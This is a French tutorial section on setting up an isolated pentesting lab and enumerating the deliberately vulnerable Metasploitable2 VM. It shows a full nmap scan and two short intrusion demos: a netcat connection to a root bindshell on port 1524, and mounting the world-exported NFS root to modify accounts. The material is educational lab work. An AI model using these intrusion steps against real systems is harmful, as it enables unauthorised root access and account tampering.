Mon réseau

Mon réseau d’entreprise

20.5 Un laboratoire pour le pentesting

Précédent   Suivant

20.5.1 Préparation du laboratoire

Pour mettre en place un laboratoire de pentesting, il faut éviter les contagions. La machine testée ne doit pas être accessible depuis l’extérieur du laboratoire et si la machine est créé par un autre acteur, il est bon de considérer qu’elle est malveillante.

L’architecture du lab est simple :

Une machine GNU/Linux avec vde2 et kvm/qemu installés et configurés. Une machine virtuelle Kali Linux peut être mise en place dans cet environnement.

Les machines testées seront connectées au même switch virtuel. L’hébergeur peut mettre en place toutes les règles de firewall souhaitées. Lancer tshark en filtrant sur l’adresse mac de la VM testée permet de vérifier son comportement.

Nous présentons comme exemple la machine metaspoitable2.

20.5.2 énumération des ports

Pour commencer, nous cherchons les ports ouverts. En TCP, nmap nous dit :

Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-10 15:09 CEST
Host is up (0.00044s latency).
Not shown: 65505 closed tcp ports (reset)
PORT       STATE SERVICE      VERSION
21/tcp     open ftp           vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|       Connected to 10.243.33.1
|       Logged in as ftp
|       TYPE: ASCII
|       No session bandwidth limit
|       Session timeout in seconds is 300
|       Control connection is plain text
|       Data connections will be plain text
|       vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp     open ssh           OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
|_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA)
23/tcp     open telnet        Linux telnetd
25/tcp     open smtp          Postfix smtpd
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_    SSL2_RC4_128_EXPORT40_WITH_MD5
|_ssl-date: 2023-09-10T13:12:03+00:00; -1s from scanner time.
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp     open domain        ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp     open http          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp    open rpcbind       2 (RPC #100000)
| rpcinfo:
|   program version      port/proto service
|   100000 2               111/tcp   rpcbind
|   100000 2               111/udp   rpcbind
|   100003 2,3,4          2049/tcp   nfs
|   100003 2,3,4          2049/udp   nfs
|   100005 1,2,3         47935/udp   mountd
|   100005 1,2,3         55355/tcp   mountd
|   100021 1,3,4         36486/tcp   nlockmgr
|   100021 1,3,4         60912/udp   nlockmgr
|   100024 1             47468/udp   status
|_ 100024 1              49563/tcp   status
139/tcp    open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp    open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp    open exec          netkit-rsh rexecd
513/tcp    open login
514/tcp    open tcpwrapped
1099/tcp open java-rmi        GNU Classpath grmiregistry
1524/tcp open bindshell       Metasploitable root shell
2049/tcp open nfs             2-4 (RPC #100003)
2121/tcp open ftp             ProFTPD 1.3.1
3306/tcp open mysql           MySQL 5.0.51a-3ubuntu5
| mysql-info:
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, SupportsCompression, SupportsTransactions, LongColumnFlag, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, ConnectWithDatabase
|   Status: Autocommit
|_ Salt: qlJk]n1I]uU+r}Bkw7HB
3632/tcp open distccd         distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2023-09-10T13:12:03+00:00; -1s from scanner time.
5900/tcp open vnc             VNC (protocol 3.3)
| vnc-info:
|   Protocol version: 3.3
|   Security types:
|_    VNC Authentication (2)
6000/tcp open X11             (access denied)
6667/tcp open irc             UnrealIRCd
6697/tcp open irc             UnrealIRCd
| irc-info:
|   users: 2
|   servers: 1
|   lusers: 2
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN
|   uptime: 0 days, 0:12:40
|   source ident: nmap
|   source host: C09ACCD0.16E06DA6.90A7935E.IP
|_ error: Closing Link: ebgukofmx[10.243.33.1] (Quit: ebgukofmx)
8009/tcp open ajp13           Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http            Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
8787/tcp open drb             Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
36486/tcp open nlockmgr       1-4 (RPC #100021)
42537/tcp open java-rmi       GNU Classpath grmiregistry
49563/tcp open status         1 (RPC #100024)
55355/tcp open mountd         1-3 (RPC #100005)
MAC Address: 42:30:03:01:03:02 (Unknown)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: , NetBIOS MAC: 000000000000 (Xerox)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_ System time: 2023-09-10T09:11:54-04:00
|_clock-skew: mean: 59m58s, deviation: 2h00m00s, median: -1s

TRACEROUTE
HOP RTT     ADDRESS
1   0.44 ms 10.243.33.2

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 138.88 seconds

Le port 1524/tcp est identifié par open bindshell Metasploitable root shell. Un test de connexion nous permet de vaincre le défenseur de cette machine :

~$ netcat 10.243.33.2 1524
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)

En moins de 5 minutes, l’accès root est obtenu. Mais il y en bien d’autres…

20.5.2.1 NFS

Nmap nous a dit que NFS était actif. Alors vérifions :

 showmount -e 10.243.33.2
Export list for 10.243.33.2:
/ *

Essayons le montage :

root@sbam:~# mount 10.243.33.2:/ /mnt
Created symlink /run/systemd/system/remote-fs.target.wants/rpc-statd.service → /lib/systemd/system/rpc-statd.service.
root@sbam:~# ls /mnt/
bin    dev     home        lib         mnt        proc srv usr
boot   etc     initrd      lost+found nohup.out root sys var
cdrom initrd.img media         opt         sbin tmp vmlinuz
root@sbam:~#

Le montage est effectué avec des droits autorisant la modification des fichiers par l’administrateur distant. Modifier les comptes est facile.